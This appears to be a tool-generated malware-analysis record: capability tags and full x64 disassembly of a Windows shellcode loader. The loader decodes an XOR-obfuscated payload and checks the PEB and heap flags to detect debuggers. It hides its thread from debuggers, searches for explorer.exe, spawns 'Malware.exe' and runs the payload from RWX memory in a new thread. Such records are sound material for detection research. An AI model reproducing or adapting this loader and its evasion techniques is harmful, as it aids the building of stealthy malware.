Function at 0x140011370
Capabilities:
Allocate or change rwx memory
Check for peb ntglobalflag flag
Create process on windows
Create thread
Enumerate process modules
Execute shellcode via indirect call
Get system information on windows
Hide thread from debugger
Protect spawned processes with mitigation policies
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140017c00
push rbp
push rsi
push rdi
mov eax, 0x1ea0
call fcn.1400110fa
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x614
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1e40], rax
lea rcx, [0x14002610e]
call fcn.1400114e7
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 8], rax
lea rdx, str.VirtualAlloc
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
lea rdx, str.CreateThread
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
lea rdx, str.WaitForSingleObject
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0x90]
lea rcx, [0x14001d220]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x231
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x231
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x304], 0
jmp 0x140017ce9
mov eax, dword [rbp + 0x304]
inc eax
mov dword [rbp + 0x304], eax
movsxd rax, dword [rbp + 0x304]
cmp rax, 0x231
jae 0x140017d20
movsxd rax, dword [rbp + 0x304]
mov rcx, qword [rbp + 0x2e8]
movsx eax, byte [rcx + rax]
xor eax, 0x35
movsxd rcx, dword [rbp + 0x304]
mov rdx, qword [rbp + 0x2e8]
mov byte [rdx + rcx], al
jmp 0x140017cdb
lea rcx, [rbp + 0x328]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x348]
mov dword [rbp + 0x374], eax
cmp dword [rbp + 0x374], 2
jae 0x140017d49
xor eax, eax
jmp 0x1400181f8
mov rax, qword gs:[0x60]
add rax, 0xbc
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov eax, dword [rax]
and eax, 0x70
test eax, eax
je 0x140017d76
xor eax, eax
jmp 0x1400181f8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rax, 0x70
mov qword [rbp + 0x3b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rax, 0x74
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0x3b8]
mov eax, dword [rax]
xor eax, 2
test eax, eax
jne 0x140017db4
mov rax, qword [rbp + 0x3d8]
cmp dword [rax], 0
je 0x140017dbb
xor eax, eax
jmp 0x1400181f8
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtSetInformationThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3f8], rax
mov dword [rbp + 0x414], 0x11
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, dword [rbp + 0x414]
mov rcx, rax
call qword [rbp + 0x3f8]
lea rdx, str.iniziato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x434], 1
cmp dword [rbp + 0x434], 0
jne 0x140017e5d
lea rdx, str.iniziato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001109b
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x14b8], 0
lea r8, [rbp + 0x1474]
mov edx, 0x1000
lea rcx, [rbp + 0x460]
call fcn.140011208
mov eax, dword [rbp + 0x1474]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rbp + 0x1494], eax
mov dword [rbp + 0x14d4], 0
jmp 0x140017eb0
mov eax, dword [rbp + 0x14d4]
inc eax
mov dword [rbp + 0x14d4], eax
mov eax, dword [rbp + 0x1494]
cmp dword [rbp + 0x14d4], eax
jae 0x140017f53
movsxd rax, dword [rbp + 0x14d4]
cmp dword [rbp + rax*4 + 0x460], 0
je 0x140017f4e
movsxd rax, dword [rbp + 0x14d4]
mov r8d, dword [rbp + rax*4 + 0x460]
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x14f8], rax
mov r9d, 0x104
lea r8, [rbp + 0x1520]
xor edx, edx
mov rcx, qword [rbp + 0x14f8]
call fcn.140011497
lea rcx, [rbp + 0x1520]
call qword [sym.imp.ucrtbased.dll__strlwr]
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x1520]
call fcn.140011230
test rax, rax
je 0x140017f4e
cmp qword [rbp + 0x14f8], 0
je 0x140017f4e
mov rax, qword [rbp + 0x14f8]
mov qword [rbp + 0x14b8], rax
jmp 0x140017ea2
mov r8d, 0x70
xor edx, edx
lea rcx, [rbp + 0x1650]
call fcn.1400113e3
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x16d8]
call fcn.1400113e3
lea r9, [rbp + 0x1708]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rax, qword [rbp + 0x1708]
mov qword [rbp + 0x1e08], rax
mov rcx, qword [rbp + 0x1e08]
call fcn.140011221
mov qword [rbp + 0x1e28], rax
cmp qword [rbp + 0x1e28], 0
je 0x140017fdf
mov rdi, qword [rbp + 0x1e28]
xor eax, eax
mov rcx, qword [rbp + 0x1e08]
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x1e28]
mov qword [rbp + 0x1e38], rax
jmp 0x140017fea
mov qword [rbp + 0x1e38], 0
mov rax, qword [rbp + 0x1e38]
mov qword [rbp + 0x16b8], rax
lea r9, [rbp + 0x1708]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x16b8]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
movabs rax, 0x101000000000
mov qword [rbp + 0x1728], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1728]
mov r8d, 0x20007
xor edx, edx
mov rcx, qword [rbp + 0x16b8]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov dword [rbp + 0x1650], 0x70
lea rax, [rbp + 0x16d8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1650]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Malware.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400180c2
mov byte [rbp + 0x1e34], 1
jmp 0x1400180c9
mov byte [rbp + 0x1e34], 0
movzx eax, byte [rbp + 0x1e34]
mov byte [rbp + 0x1744], al
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x231
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x1768], rax
mov dword [rbp + 0x1784], 0
jmp 0x140018110
mov eax, dword [rbp + 0x1784]
inc eax
mov dword [rbp + 0x1784], eax
movsxd rax, dword [rbp + 0x1784]
cmp rax, 0x231
jae 0x140018147
movsxd rax, dword [rbp + 0x1784]
mov rcx, qword [rbp + 0x1768]
movsx eax, byte [rcx + rax]
sub eax, 0xd
movsxd rcx, dword [rbp + 0x1784]
mov rdx, qword [rbp + 0x1768]
mov byte [rdx + rcx], al
jmp 0x140018102
mov dword [rbp + 0x17a4], 0
jmp 0x140018161
mov eax, dword [rbp + 0x17a4]
inc eax
mov dword [rbp + 0x17a4], eax
movsxd rax, dword [rbp + 0x17a4]
cmp rax, 0x231
jae 0x140018198
movsxd rax, dword [rbp + 0x17a4]
mov rcx, qword [rbp + 0x1768]
movsx eax, byte [rcx + rax]
xor eax, 0x35
movsxd rcx, dword [rbp + 0x17a4]
mov rdx, qword [rbp + 0x1768]
mov byte [rdx + rcx], al
jmp 0x140018153
mov r8d, 0x231
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x1768]
call fcn.140011271
lea rax, [rbp + 0x17c4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1768]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x17e8], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x17e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1400181f6
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001cf50]
call fcn.140011442
mov rax, rdi
mov rcx, qword [rbp + 0x1e40]
xor rcx, rbp
call fcn.14001126c
lea rsp, [rbp + 0x1e50]
pop rdi
pop rsi
pop rbp
ret